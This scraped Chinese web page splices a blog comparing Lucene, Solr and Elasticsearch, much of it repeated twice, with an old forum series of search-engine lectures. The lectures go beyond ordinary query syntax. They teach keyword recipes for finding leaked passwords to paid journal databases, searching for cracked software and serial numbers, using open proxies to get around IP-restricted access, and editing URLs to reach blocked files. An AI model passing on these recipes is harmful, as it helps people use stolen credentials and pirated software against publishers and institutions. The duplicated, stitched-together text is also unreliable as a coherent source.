之前,有同事問(wèn)我,為什么要用搜索引擎?我們的所有數據在數據庫里面都有,而且 Oracle、SQL Server 等數據庫里也能提供查詢(xún)檢索或者聚類(lèi)分析功能,直接通過(guò)數據庫查詢(xún)不就可以了嗎?
確實(shí),我們大部分的查詢(xún)功能都可以通過(guò)數據庫查詢(xún)獲得,如果查詢(xún)效率低下,還可以通過(guò)建數據庫索引,優(yōu)化 SQL 等方式提升效率,甚至通過(guò)引入緩存來(lái)加快數據的返回速度。
如果數據量更大,就可以分庫分表來(lái)分擔查詢(xún)壓力。那為什么還要全文搜索引擎呢?我們主要從以下幾個(gè)原因分析:
數據類(lèi)型
全文索引搜索支持非結構化數據的搜索,可以更好地快速搜索大量存在的任何單詞或單詞組的非結構化文本。
例如 Google,百度類(lèi)的網(wǎng)站搜索,它們都是根據網(wǎng)頁(yè)中的關(guān)鍵字生成索引,我們在搜索的時(shí)候輸入關(guān)鍵字,它們會(huì )將該關(guān)鍵字即索引匹配到的所有網(wǎng)頁(yè)返回;還有常見(jiàn)的項目中應用日志的搜索等等。
對于這些非結構化的數據文本,關(guān)系型數據庫搜索不是能很好的支持。
索引的維護
一般傳統數據庫,全文檢索都實(shí)現的很雞肋,因為一般也沒(méi)人用數據庫存文本字段。
進(jìn)行全文檢索需要掃描整個(gè)表,如果數據量大的話(huà)即使對 SQL 的語(yǔ)法優(yōu)化,也收效甚微。
建立了索引,但是維護起來(lái)也很麻煩,對于 insert 和 update 操作都會(huì )重新構建索引。
什么時(shí)候使用全文搜索引擎:
Lucene,Solr,ElasticSearch ?
現在主流的搜索引擎大概就是:Lucene,Solr,ElasticSearch。
它們的索引建立都是根據倒排索引的方式生成索引,何謂倒排索引?
維基百科:倒排索引(英語(yǔ):Inverted index),也常被稱(chēng)為反向索引、置入檔案或反向檔案,是一種索引方法,被用來(lái)存儲在全文搜索下某個(gè)單詞在一個(gè)文檔或者一組文檔中的存儲位置的映射。它是文檔檢索系統中最常用的數據結構。
Lucene
Lucene 是一個(gè) Java 全文搜索引擎,完全用 Java 編寫(xiě)。Lucene 不是一個(gè)完整的應用程序,而是一個(gè)代碼庫和 API,可以很容易地用于向應用程序添加搜索功能。Lucene 通過(guò)簡(jiǎn)單的 API 提供強大的功能:
可擴展的高性能索引:
強大,準確,高效的搜索算法:
跨平臺解決方案:
Apache 軟件基金會(huì ):
Solr
Apache Solr 是一個(gè)基于名為 Lucene 的 Java 庫構建的開(kāi)源搜索平臺。它以用戶(hù)友好的方式提供 Apache Lucene 的搜索功能。
作為一個(gè)行業(yè)參與者已近十年,它是一個(gè)成熟的產(chǎn)品,擁有強大而廣泛的用戶(hù)社區。
它提供分布式索引,復制,負載平衡查詢(xún)以及自動(dòng)故障轉移和恢復。如果它被正確部署然后管理得好,它就能夠成為一個(gè)高度可靠,可擴展且容錯的搜索引擎。
很多互聯(lián)網(wǎng)巨頭,如 Netflix,eBay,Instagram 和亞馬遜(CloudSearch)都使用 Solr,因為它能夠索引和搜索多個(gè)站點(diǎn)。微信搜索公眾號:Java項目精選,回復:java 領(lǐng)取資料 。
主要功能列表包括:
ElasticSearch
Elasticsearch 是一個(gè)開(kāi)源(Apache 2 許可證),基于 Apache Lucene 庫構建的 RESTful 搜索引擎。
Elasticsearch 是在 Solr 之后幾年推出的。它提供了一個(gè)分布式,多租戶(hù)能力的全文搜索引擎,具有 HTTP Web 界面(REST)和無(wú)架構 JSON 文檔。
Elasticsearch 的官方客戶(hù)端庫提供 Java,Groovy,PHP,Ruby,Perl,Python,.NET 和 Javascript。
分布式搜索引擎包括可以劃分為分片的索引,并且每個(gè)分片可以具有多個(gè)副本。
每個(gè) Elasticsearch 節點(diǎn)都可以有一個(gè)或多個(gè)分片,其引擎也可以充當協(xié)調器,將操作委派給正確的分片。
Elasticsearch 可通過(guò)近實(shí)時(shí)搜索進(jìn)行擴展。其主要功能之一是多租戶(hù)。主要功能列表包括:
Elasticsearch vs Solr 的選擇
由于 Lucene 的復雜性,一般很少會(huì )考慮它作為搜索的第一選擇,排除一些公司需要自研搜索框架,底層需要依賴(lài) Lucene。
所以這里我們重點(diǎn)分析哪一個(gè)更好?它們有什么不同?你應該使用哪一個(gè)?
歷史比較
Apache Solr 是一個(gè)成熟的項目,擁有龐大而活躍的開(kāi)發(fā)和用戶(hù)社區,以及 Apache 品牌。
Solr 于 2006 年首次發(fā)布到開(kāi)源,長(cháng)期以來(lái)一直占據著(zhù)搜索引擎領(lǐng)域,并且是任何需要搜索功能的人的首選引擎。
它的成熟轉化為豐富的功能,而不僅僅是簡(jiǎn)單的文本索引和搜索;如分面,分組,強大的過(guò)濾,可插入的文檔處理,可插入的搜索鏈組件,語(yǔ)言檢測等。
Solr 在搜索領(lǐng)域占據了多年的主導地位。然后,在 2010 年左右,Elasticsearch 成為市場(chǎng)上的另一種選擇。
那時(shí)候,它遠沒(méi)有 Solr 那么穩定,沒(méi)有 Solr 的功能深度,沒(méi)有思想分享,品牌等等。
Elasticsearch 雖然很年輕,但它也自己的一些優(yōu)勢,Elasticsearch 建立在更現代的原則上,針對更現代的用例,并且是為了更容易處理大型索引和高查詢(xún)率而構建的。
此外,由于它太年輕,沒(méi)有社區可以合作,它可以自由地向前推進(jìn),而不需要與其他人(用戶(hù)或開(kāi)發(fā)人員)達成任何共識或合作,向后兼容,或任何其他更成熟的軟件通常必須處理。
因此,它在 Solr 之前就公開(kāi)了一些非常受歡迎的功能(例如,接近實(shí)時(shí)搜索,英文:Near Real-Time Search)。
從技術(shù)上講,NRT 搜索的能力確實(shí)來(lái)自 Lucene,它是 Solr 和 Elasticsearch 使用的基礎搜索庫。
具有諷刺意味的是,因為 Elasticsearch 首先公開(kāi)了 NRT 搜索,所以人們將 NRT 搜索與 Elasticsearch 聯(lián)系在一起。
盡管 Solr 和 Lucene 都是同一個(gè) Apache 項目的一部分,但是,人們會(huì )首先期望 Solr 具有如此高要求的功能。
特征差異比較
這兩個(gè)搜索引擎都是流行的,先進(jìn)的的開(kāi)源搜索引擎。它們都是圍繞核心底層搜索庫 Lucene 構建的,但它們又是不同的。
像所有東西一樣,每個(gè)都有其優(yōu)點(diǎn)和缺點(diǎn),根據您的需求和期望,每個(gè)都可能更好或更差。
Solr 和 Elasticsearch 都在快速發(fā)展,所以,話(huà)不多說(shuō),先來(lái)看下它們的差異清單:
查看全部
全文搜索引擎 ElasticSearch 還是 Solr?
前言
最近項目組安排了一個(gè)任務(wù),項目中用到了基于 Solr 的全文搜索,但是該 Solr 搜索云項目不穩定,經(jīng)常查詢(xún)不出來(lái)數據,需要手動(dòng)全量同步。
而且它還是其他團隊在維護,依賴(lài)性太強,導致 Solr 服務(wù)一出問(wèn)題,我們的項目也基本癱瘓,因為所有的依賴(lài)查詢(xún)都無(wú)結果數據了。
所以考慮開(kāi)發(fā)一個(gè)適配層,如果 Solr 搜索出問(wèn)題,自動(dòng)切換到新的搜索 ES。其實(shí)可以通過(guò) Solr 集群或者服務(wù)容錯等設計來(lái)解決該問(wèn)題。
但是先不考慮本身設計的合理性,領(lǐng)導需要開(kāi)發(fā),所以我開(kāi)始踏上了搭建 ES 服務(wù)的道路,從零開(kāi)始,因為之前完全沒(méi)接觸過(guò) ES,所以通過(guò)本系列來(lái)記錄下自己的開(kāi)發(fā)過(guò)程。
本篇文章的總體內容大致如下圖:
由 ReyCG 精心繪制并提供
什么是全文搜索引擎?
百度百科中的定義:
全文搜索引擎是目前廣泛應用的主流搜索引擎。它的工作原理是計算機索引程序通過(guò)掃描文章中的每一個(gè)詞,對每一個(gè)詞建立一個(gè)索引,指明該詞在文章中出現的次數和位置,當用戶(hù)查詢(xún)時(shí),檢索程序就根據事先建立的索引進(jìn)行查找,并將查找的結果反饋給用戶(hù)的檢索方式。這個(gè)過(guò)程類(lèi)似于通過(guò)字典中的檢索字表查字的過(guò)程。
從定義中我們已經(jīng)可以大致了解全文檢索的思路了,為了更詳細的說(shuō)明,我們先從生活中的數據說(shuō)起。
我們生活中的數據總體分為兩種:
當然有的地方還會(huì )有第三種:半結構化數據,如 XML,HTML 等,當根據需要可按結構化數據來(lái)處理,也可抽取出純文本按非結構化數據來(lái)處理。
根據兩種數據分類(lèi),搜索也相應的分為兩種:結構化數據搜索和非結構化數據搜索。
對于結構化數據,我們一般都是可以通過(guò)關(guān)系型數據庫(MySQL,Oracle 等)的 table 的方式存儲和搜索,也可以建立索引。
對于非結構化數據,也即對全文數據的搜索主要有兩種方法:
順序掃描:通過(guò)文字名稱(chēng)也可了解到它的大概搜索方式,即按照順序掃描的方式查詢(xún)特定的關(guān)鍵字。
例如給你一張報紙,讓你找到該報紙中“RNG”的文字在哪些地方出現過(guò)。你肯定需要從頭到尾把報紙閱讀掃描一遍,然后標記出關(guān)鍵字在哪些版塊出現過(guò)以及它的出現位置。
這種方式無(wú)疑是最耗時(shí)的最低效的,如果報紙排版字體小,而且版塊較多甚至有多份報紙,等你掃描完你的眼睛也差不多了。
全文檢索:對非結構化數據順序掃描很慢,我們是否可以進(jìn)行優(yōu)化?把我們的非結構化數據想辦法弄得有一定結構不就行了嗎?
將非結構化數據中的一部分信息提取出來(lái),重新組織,使其變得有一定結構,然后對此有一定結構的數據進(jìn)行搜索,從而達到搜索相對較快的目的。
這種方式就構成了全文檢索的基本思路。這部分從非結構化數據中提取出的然后重新組織的信息,我們稱(chēng)之索引。
還以讀報紙為例,我們想關(guān)注英雄聯(lián)盟 S8 全球總決賽的新聞,假如都是 RNG 的粉絲,如何快速找到 RNG 新聞的報紙和版塊呢?
全文檢索的方式就是,將所有報紙中所有版塊中關(guān)鍵字進(jìn)行提取,如"EDG","RNG","FW","戰隊","英雄聯(lián)盟"等。
然后對這些關(guān)鍵字建立索引,通過(guò)索引我們就可以對應到該關(guān)鍵詞出現的報紙和版塊。注意區別目錄搜索引擎。
為什么要用全文搜索搜索引擎
之前,有同事問(wèn)我,為什么要用搜索引擎?我們的所有數據在數據庫里面都有,而且 Oracle、SQL Server 等數據庫里也能提供查詢(xún)檢索或者聚類(lèi)分析功能,直接通過(guò)數據庫查詢(xún)不就可以了嗎?
確實(shí),我們大部分的查詢(xún)功能都可以通過(guò)數據庫查詢(xún)獲得,如果查詢(xún)效率低下,還可以通過(guò)建數據庫索引,優(yōu)化 SQL 等方式提升效率,甚至通過(guò)引入緩存來(lái)加快數據的返回速度。
如果數據量更大,就可以分庫分表來(lái)分擔查詢(xún)壓力。那為什么還要全文搜索引擎呢?我們主要從以下幾個(gè)原因分析:
數據類(lèi)型
全文索引搜索支持非結構化數據的搜索,可以更好地快速搜索大量存在的任何單詞或單詞組的非結構化文本。
例如 Google,百度類(lèi)的網(wǎng)站搜索,它們都是根據網(wǎng)頁(yè)中的關(guān)鍵字生成索引,我們在搜索的時(shí)候輸入關(guān)鍵字,它們會(huì )將該關(guān)鍵字即索引匹配到的所有網(wǎng)頁(yè)返回;還有常見(jiàn)的項目中應用日志的搜索等等。
對于這些非結構化的數據文本,關(guān)系型數據庫搜索不是能很好的支持。
索引的維護
一般傳統數據庫,全文檢索都實(shí)現的很雞肋,因為一般也沒(méi)人用數據庫存文本字段。
進(jìn)行全文檢索需要掃描整個(gè)表,如果數據量大的話(huà)即使對 SQL 的語(yǔ)法優(yōu)化,也收效甚微。
建立了索引,但是維護起來(lái)也很麻煩,對于 insert 和 update 操作都會(huì )重新構建索引。
什么時(shí)候使用全文搜索引擎:
Lucene,Solr,ElasticSearch ?
現在主流的搜索引擎大概就是:Lucene,Solr,ElasticSearch。
它們的索引建立都是根據倒排索引的方式生成索引,何謂倒排索引?
維基百科:倒排索引(英語(yǔ):Inverted index),也常被稱(chēng)為反向索引、置入檔案或反向檔案,是一種索引方法,被用來(lái)存儲在全文搜索下某個(gè)單詞在一個(gè)文檔或者一組文檔中的存儲位置的映射。它是文檔檢索系統中最常用的數據結構。
Lucene
Lucene 是一個(gè) Java 全文搜索引擎,完全用 Java 編寫(xiě)。Lucene 不是一個(gè)完整的應用程序,而是一個(gè)代碼庫和 API,可以很容易地用于向應用程序添加搜索功能。Lucene 通過(guò)簡(jiǎn)單的 API 提供強大的功能:
可擴展的高性能索引:
強大,準確,高效的搜索算法:
跨平臺解決方案:
Apache 軟件基金會(huì ):
Solr
Apache Solr 是一個(gè)基于名為 Lucene 的 Java 庫構建的開(kāi)源搜索平臺。它以用戶(hù)友好的方式提供 Apache Lucene 的搜索功能。
作為一個(gè)行業(yè)參與者已近十年,它是一個(gè)成熟的產(chǎn)品,擁有強大而廣泛的用戶(hù)社區。
它提供分布式索引,復制,負載平衡查詢(xún)以及自動(dòng)故障轉移和恢復。如果它被正確部署然后管理得好,它就能夠成為一個(gè)高度可靠,可擴展且容錯的搜索引擎。
很多互聯(lián)網(wǎng)巨頭,如 Netflix,eBay,Instagram 和亞馬遜(CloudSearch)都使用 Solr,因為它能夠索引和搜索多個(gè)站點(diǎn)。微信搜索公眾號:Java項目精選,回復:java 領(lǐng)取資料 。
主要功能列表包括:
ElasticSearch
Elasticsearch 是一個(gè)開(kāi)源(Apache 2 許可證),基于 Apache Lucene 庫構建的 RESTful 搜索引擎。
Elasticsearch 是在 Solr 之后幾年推出的。它提供了一個(gè)分布式,多租戶(hù)能力的全文搜索引擎,具有 HTTP Web 界面(REST)和無(wú)架構 JSON 文檔。
Elasticsearch 的官方客戶(hù)端庫提供 Java,Groovy,PHP,Ruby,Perl,Python,.NET 和 Javascript。
分布式搜索引擎包括可以劃分為分片的索引,并且每個(gè)分片可以具有多個(gè)副本。
每個(gè) Elasticsearch 節點(diǎn)都可以有一個(gè)或多個(gè)分片,其引擎也可以充當協(xié)調器,將操作委派給正確的分片。
Elasticsearch 可通過(guò)近實(shí)時(shí)搜索進(jìn)行擴展。其主要功能之一是多租戶(hù)。主要功能列表包括:
Elasticsearch vs Solr 的選擇
由于 Lucene 的復雜性,一般很少會(huì )考慮它作為搜索的第一選擇,排除一些公司需要自研搜索框架,底層需要依賴(lài) Lucene。
所以這里我們重點(diǎn)分析哪一個(gè)更好?它們有什么不同?你應該使用哪一個(gè)?
歷史比較
Apache Solr 是一個(gè)成熟的項目,擁有龐大而活躍的開(kāi)發(fā)和用戶(hù)社區,以及 Apache 品牌。
Solr 于 2006 年首次發(fā)布到開(kāi)源,長(cháng)期以來(lái)一直占據著(zhù)搜索引擎領(lǐng)域,并且是任何需要搜索功能的人的首選引擎。
它的成熟轉化為豐富的功能,而不僅僅是簡(jiǎn)單的文本索引和搜索;如分面,分組,強大的過(guò)濾,可插入的文檔處理,可插入的搜索鏈組件,語(yǔ)言檢測等。
Solr 在搜索領(lǐng)域占據了多年的主導地位。然后,在 2010 年左右,Elasticsearch 成為市場(chǎng)上的另一種選擇。
那時(shí)候,它遠沒(méi)有 Solr 那么穩定,沒(méi)有 Solr 的功能深度,沒(méi)有思想分享,品牌等等。
Elasticsearch 雖然很年輕,但它也自己的一些優(yōu)勢,Elasticsearch 建立在更現代的原則上,針對更現代的用例,并且是為了更容易處理大型索引和高查詢(xún)率而構建的。
此外,由于它太年輕,沒(méi)有社區可以合作,它可以自由地向前推進(jìn),而不需要與其他人(用戶(hù)或開(kāi)發(fā)人員)達成任何共識或合作,向后兼容,或任何其他更成熟的軟件通常必須處理。
因此,它在 Solr 之前就公開(kāi)了一些非常受歡迎的功能(例如,接近實(shí)時(shí)搜索,英文:Near Real-Time Search)。
從技術(shù)上講,NRT 搜索的能力確實(shí)來(lái)自 Lucene,它是 Solr 和 Elasticsearch 使用的基礎搜索庫。
具有諷刺意味的是,因為 Elasticsearch 首先公開(kāi)了 NRT 搜索,所以人們將 NRT 搜索與 Elasticsearch 聯(lián)系在一起。
盡管 Solr 和 Lucene 都是同一個(gè) Apache 項目的一部分,但是,人們會(huì )首先期望 Solr 具有如此高要求的功能。
特征差異比較
這兩個(gè)搜索引擎都是流行的,先進(jìn)的的開(kāi)源搜索引擎。它們都是圍繞核心底層搜索庫 Lucene 構建的,但它們又是不同的。
像所有東西一樣,每個(gè)都有其優(yōu)點(diǎn)和缺點(diǎn),根據您的需求和期望,每個(gè)都可能更好或更差。
Solr 和 Elasticsearch 都在快速發(fā)展,所以,話(huà)不多說(shuō),先來(lái)看下它們的差異清單:
你想要的文獻搜索方法都在這里
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 455 次瀏覽 ? 2022-05-23 07:47
2、很時(shí)候我們可以下載下來(lái),但以上面說(shuō)的那種方法進(jìn)行回推時(shí),常常會(huì )出現"Forbidden"的頁(yè)面,這是很多網(wǎng)站都存在的bug。
要解決個(gè)問(wèn)題就需要利用這個(gè)bug和靠你對所查找的內容比較熟悉。就舉一個(gè)簡(jiǎn)單的例子:google里檢索"molecular biology of the gene"時(shí)
... 0211/Chapter209.ppt這時(shí)我只是對最后面的"209"進(jìn)行簡(jiǎn)單的更改為"201-220"就可以得到這本書(shū)完整的ppt文件。還有的最后面是出現字母,可對相應的字母進(jìn)行修改即可,最難的是要對文件名進(jìn)行修改,這就需要比較扎實(shí)的專(zhuān)業(yè)基礎。
3、不要瞧不起中文藝工作者網(wǎng)站。以英文作為關(guān)鍵詞進(jìn)行搜索時(shí)英文網(wǎng)站總是出現在最前面,而等看到中文網(wǎng)站時(shí)都已經(jīng)失去了耐心,我們有時(shí)候可搜索中文網(wǎng)站,往往會(huì )得到很多意想不到的東西。特別是我們隔岸相往的同胞做的ppt也是相當的漂亮!
4、放寬檢索范圍。
5、我們最后要解決的是下載問(wèn)題。很網(wǎng)站提供很多下載鏈接,下載速度一般只有3、5kb, 最糟的只有幾百字節。而一般的網(wǎng)頁(yè)只能同時(shí)對兩個(gè)文件進(jìn)行下載。解決的方法是重新打開(kāi)IE然后在新的窗口打開(kāi)鏈接,有一次我同時(shí)打開(kāi)十幾個(gè)窗口進(jìn)行下載,很快就把所有的內容下載下來(lái)。這種下載方法要慎用,這很容易造成對網(wǎng)站的惡意下載。
6、很多網(wǎng)站提供ppt下載的時(shí)候也同時(shí)提供動(dòng)畫(huà)在線(xiàn)觀(guān),看著(zhù)這么多的漂亮東東卻無(wú)法下載。不是很可惜嗎?有關(guān)這方面的內容wfj2000在其它帖子已提到過(guò)我就不說(shuō)了。
懇請各位高手對我提出寶貴意見(jiàn)。
四、Bioon全心奉獻的系列檢索講座
注意:本講座中的方法適用于生物與醫學(xué)的免費全文的文獻檢索,以及網(wǎng)上各種有用的資料的搜索(幻燈片,各種講座資料,電子書(shū)等),通過(guò)使用這些技巧并與著(zhù)名搜索引擎google(,中文的多使用百度配合使用,以下所有內容都是基于這兩個(gè)搜索引擎講解的,更多的講座見(jiàn)論壇中檢索技巧版( )
第一講:關(guān)鍵詞的選擇技巧.
推薦先讀讀google從入門(mén)到精通等論文(請注冊后再登錄)
( ... ;ID=2997&skin=1)
我們了解常規搜索方式,但每個(gè)人都會(huì )搜索出不同結果,為什么?核心問(wèn)題在于關(guān)鍵詞選擇不同。
關(guān)鍵的分析必須保證兩點(diǎn):
一是專(zhuān)業(yè)性,即這個(gè)詞是很精的,可能簡(jiǎn)化你的搜索結果,因而詞甚至可以怪一點(diǎn),盡量避免大眾化的詞,如net,site等。即使需要大眾化詞,如password,username,但若加入一兩個(gè)特征詞,則結果將大大簡(jiǎn)化。
二是具有代表性,也即這個(gè)詞具有代表意義,也即它在包含你所需網(wǎng)頁(yè)內,它在出現的可能,以免一些有用信息被遺漏。
如何達到上述兩個(gè)要求?我們必須分析網(wǎng)頁(yè)中字詞出現的特點(diǎn),以及本學(xué)科專(zhuān)業(yè)詞匯特征。
大家看看yahoo,google等medicine和science--biology條目下的分類(lèi),發(fā)現許多相關(guān)的詞均在內,如
醫學(xué)有關(guān)的都在Science & Technology 大條目下,又細分為:
Agriculture & Food | Biology | Botany | Chemistry | Computer Science | Enginee
ring | Environmental Dynamics | Geology | Kinesiology | Mathematics | Medicine
| Nursing | Physics | Psychology | Statistics | Zoology。
因此如果僅以medicine檢索,就會(huì )漏掉不少很有價(jià)值的信息,特別是漏掉的專(zhuān)業(yè)的。
其次,在medicine下又有很多數據庫,如:EBSCO OVID,PROQUEST還有各大出版社自己的萬(wàn)能密碼。
大家應該明白一些了吧。
第二講:主要講定點(diǎn)搜索和遍搜索的區別及應用。
所謂定點(diǎn)搜索,即指定找某個(gè)數據庫相關(guān)信息,或某篇論文。
遍搜索是指在網(wǎng)上任意逛逛,找些pswd,或者無(wú)心插柳柳成蔭。
(1)定點(diǎn)數據庫和期刊搜索。還是同第一講一樣,主要分析關(guān)鍵詞的選擇。當然關(guān)鍵詞之一是這個(gè)數據庫的名稱(chēng)。大家注意了:數據庫名稱(chēng)一定要用全稱(chēng)和簡(jiǎn)稱(chēng)都試試。
關(guān)鍵詞之二是free,ID,password,user name。
為什么這個(gè)關(guān)鍵詞?其實(shí)這些只能稱(chēng)作是一個(gè)關(guān)鍵詞,因為它們具有同性或不相容性。如elservier數據庫,你最好不要用username和password,因為它主要是采用IP限制的。因而你的重點(diǎn)放在pxory!而不是上述的任何一個(gè)。而找某一雜志,則多用user name 和ID/pas
sword合用(注:ID/password只可用一個(gè)!),因為雜志往往個(gè)人購買(mǎi),便擁有帳號了。
關(guān)鍵詞三:這些數據庫可能出現的地方?大學(xué)圖書(shū)館最多!即使是雜志,圖書(shū)館也較個(gè)人帳號多。那么圖書(shū)館主頁(yè)上有哪些關(guān)鍵詞?library,database,trial,free....,可看看國內一些圖書(shū)館的主頁(yè),仔細分析比較,便能找到一些共性的東西。
(2)定點(diǎn)論文搜索。
論文,在國外通用PDF格式,因而論文搜索必須用PDF這個(gè)核心內容。即找后綴為PDF的東東,語(yǔ)法:filetype DF 這是關(guān)鍵之一
關(guān)鍵詞之二:找你所需論文的題或文摘中最怪的詞!而不是常用詞。(不要用很專(zhuān)業(yè)的詞往往能找到相近的論文,所謂無(wú)心插柳了)
命中率高,但最好是題目中出現的詞,為什么?因為往往許多個(gè)人站點(diǎn)收錄了不少論文,而這些論文往往是以題目名稱(chēng)作為索引的。
第三講 實(shí)戰演習-----專(zhuān)業(yè)文獻搜索技巧。
專(zhuān)業(yè)文獻與普通文獻不同,很難查到。這是本人長(cháng)期搜索的技巧,十分有效,查專(zhuān)業(yè)文獻實(shí)在好!
1. 查找某本專(zhuān)業(yè)刊物的登錄密碼,如Brain Res
首先選關(guān)鍵詞:雜志名(Brain Res),登錄(sign in),密碼(password)
這樣成功率并不高,其實(shí)細細看來(lái),不應有登錄,因為許多提供密碼的地方,并不出現登錄這個(gè)詞,而多出現用戶(hù)名(user name),而且雜志名多用全稱(chēng)(brain research),再試試
!哦,成功了!
2. 查找某篇論文的全文,尤其是外文文獻,許多全文服務(wù)均需收費。
當然可先按第一種方法搜索一下,看看有無(wú)密碼可尋,若無(wú),則找到該篇論文的特殊字段(key words),然后搜索PDF文件。不過(guò)這有幾個(gè)條件,一是該雜志確已上網(wǎng),有明確地址 ,其二,一般需在1997年以后文獻才可。
舉例:Gattullo D, Pagliaro P, Marsh NA, Losano G。New insights into nitric oxide and coronary circulation.Life Sci 1999;65(21):2167-74。
這篇論文是收費的。采用:inurldf:Gattullo Pagliaro coronary,結果24項,找到其中的第2頁(yè),有下面一項Life Sciences [Volume 65, Issue 21, Pages 2167-2268 (1999)]
... 1. New Insights into Nitric Oxide and Coronary Circulation, Pages 2167-2174 D. Gattullo, P. Pagliaro, NA Marsh and G. Losano 2. ...
147.46.94.112/journal/sej/j_l/l339.htm - 14k - 網(wǎng)頁(yè)快照 - 類(lèi)似網(wǎng)頁(yè)
打開(kāi)網(wǎng)頁(yè)快照,第一篇即是其目錄,下載即可!OK!成功
3. 查找專(zhuān)業(yè)軟件的破解軟件或注冊碼
常規軟件的注冊碼很好找,但專(zhuān)業(yè)軟件太少,而且注冊碼也少,破解更少,如何找?
如找origin 6.1版的破解版,或注冊碼。不管采用網(wǎng)易、搜狐等軟件搜索,均找不到該軟件。那么只好借用特殊搜索了。
分析:一般有些破解軟件的頁(yè)面一般至少有以下一些信息:軟件名稱(chēng),版本,序列號(serial number, OR sn),破解(crack, OR CRK),提供下載的地方有.ZIP字樣(壓縮文件為多
)。為了方便起見(jiàn),也防止版本太精確反而不易搜索的特點(diǎn),在googlek 輸入origin 破解, 哦!OK!成功!如果其它的軟件一次搜索的結果太多的話(huà),則考慮加6.1以減小其搜索范圍?;蛩阉鹘Y果太少且不是需要的話(huà),將破解換為"注冊碼"試試,一般效果不錯。
4. 查找中文文獻的免費全文如我知道重慶維普提供免費全文服務(wù),但目前許多站點(diǎn)都不能用了。另外,還有萬(wàn)方數據庫、CNKI也提供,那么我如何查到這些數據庫的免費入口呢?
這需要一定的技巧,采用google或百度試試:輸入:重慶維普 密碼哦!66項!仔細找一找,必有結果!OK!
第四講 百度與google比較 。
大家好,這一講講百度與google比較
搜索英文不必說(shuō)用google,搜索中文呢?
很多人并不了解它們更新的情況,google發(fā)展早,因而它貯存了大量舊的信息,百度發(fā)展遲,信息較新。
更新速度:對中文google一般半月至一月一更新,而且僅搜索到三級鏈接,三級以下便不在搜索,那么我如何看到最新的google搜索的結果呢?這個(gè)站點(diǎn):,可見(jiàn)google采用不同服務(wù)器逐步更新的。百度的更新較快,半月一次,最快一周。那么如何衡梁這半月與一月的差劇與價(jià)值?
對于一些試用數據庫,有效期短,或象萬(wàn)方等一月一換密碼,最好選用百度,現在維普老是打一槍換一個(gè)地方,因而也只好用百度了,google往往搜索出來(lái)的結果已過(guò)期了。而能長(cháng)期使用的密碼或數據庫,一般象國外的(國內有沒(méi)有,我真不知道),最好用google,
畢竟技術(shù)更老道一些,搜索出的結果更多,更廣!
第五講 補充講一點(diǎn)關(guān)鍵詞的選擇。
關(guān)于關(guān)鍵詞,最近看到高手huangwei98 公布的一些關(guān)鍵詞,很值得參考。但總之一句話(huà),
高手=技巧+時(shí)間,有時(shí)多看看,往往獲得其它的密碼,這是太正常的事了。
關(guān)鍵詞組合:
nurse journal password
new medicine password
What's New medicine password
périodiques électroniques password( 注意了,不是英文字母樣!)
biomedical library password
LWW Journal Collection password
Bibliotekets databaser password
Kluwer Online password
journalwebsite password
基本路子仍是數據庫+password+補充性關(guān)鍵詞(或稱(chēng)定向性關(guān)鍵詞)
所謂定向性關(guān)鍵詞是將你的檢索范圍定于某一可能的區域,如圖書(shū)館、個(gè)人站點(diǎn),以縮小檢索范圍。如單個(gè)雜志,可定位于個(gè)人,若是數據庫檢索,則宜加library,因為個(gè)人是不會(huì )買(mǎi)數據庫的。同時(shí)另一個(gè)定向是生物和醫學(xué),所用的關(guān)鍵詞medicine,biology,biomed.
當然仍可加第三定向關(guān)鍵詞,如雜志(journal)、免費(free)、在線(xiàn)(online),但一定要注意第三關(guān)鍵詞的特征性不強,要選擇使用,不可過(guò)用,否則會(huì )將一大批可能有用的站點(diǎn)排除掉,切記!
但這主要針對國外的,而國內的一般多在各大學(xué)圖書(shū)館內,常用密碼、免費、雜志、數據庫名等搜索,效果較好。
但對于有些雜志,如sciencedirect,Ideallibrary多采用IP驗證方式,一般密碼并不能用,這時(shí)多采用代理服務(wù)器方式,因而如何找到有效的代理太重要的。如清華的elsevier便是代理。下下一講講如何找代理。
第六講 關(guān)鍵詞聯(lián)合使用。
國內圖書(shū)館提到數據庫往往只提***數據庫,而國外圖書(shū)館多列出該數據庫內各種雜志名,而且多按字母分類(lèi)。因而為了提高檢索的準確率,一般將同一數據庫內的雜志的首字母相同的雜志名用兩到三個(gè)聯(lián)合搜索,再結合前面講的加用其它關(guān)鍵詞,能有效縮小檢索范圍
,翕中率極高。從這里可以看到,如果透徹分析一些圖書(shū)館內主頁(yè)設計的特征,是搜索的關(guān)鍵。
如檢索brain research,可列出brain research bulltin,同時(shí)檢索,效果要好些。
第七講 搜索公開(kāi)的代理服務(wù)器技巧。
中文:
代理 維普(或其它數據庫名) 數據庫,能找到一些,但國內一般真正使用代理的較少。
英文:
proxy 數據庫名 IE netscape
效果非常好,但一定要注意,許多地方不僅用代理服務(wù)器,而且需密碼認證,不可過(guò)于樂(lè )觀(guān)!應認真鑒別。
第八講。先插幾句廢話(huà),本論壇的目的是培養真正懂得搜索技巧的人員,當然搜索技巧不只是密碼之類(lèi),還應包括檢索常用文件,pubmed等,這也是水平和本領(lǐng),切不可以找密碼為樂(lè )。我們應該培養全方位的文獻檢索能力,否則即使有密碼,也未必找到自己所需的信息,網(wǎng)海茫茫,有用者若斯!
現在進(jìn)入正題,今天講百度和google語(yǔ)法,其實(shí)這在從google入門(mén)到精通中都有所闡述這是重提,以示重視,并無(wú)太多的新意,只是將大理論與實(shí)際相結合起來(lái)。
找特定文件名的文件,尤其是PDF、ZIP、swf、DOC、TXT、RAR、EXE、RM、Mp3,MOV,PPT這些文件名都是網(wǎng)友想找的重點(diǎn),至于各是什么類(lèi)型文件,請上網(wǎng)查一下便知道了,這里不多說(shuō)了。尤其老板讓你做個(gè)powerpoint,找不到圖怎么辦?用google去搜索。
方法是利用語(yǔ)法filetype:后綴名。
如找PDF文件,在正常關(guān)鍵詞后面加filetype DF即可,搜索結果全是PDF文件。這是我寫(xiě)的另一篇,可參考:
... p;ID=839&page=1
找特定題目的網(wǎng)頁(yè)語(yǔ)法intitle:網(wǎng)站
查找友情鏈接:
"link:"(英文單字link后加冒號)用于搜索鏈接到某個(gè)URL地址的網(wǎng)頁(yè)??梢粤私庥心男┚W(wǎng)頁(yè)把鏈接指向您的網(wǎng)頁(yè)查找特定站點(diǎn):
site:*.com
如 金庸 古龍 site:
但不可加入或/這類(lèi),否則是錯的。
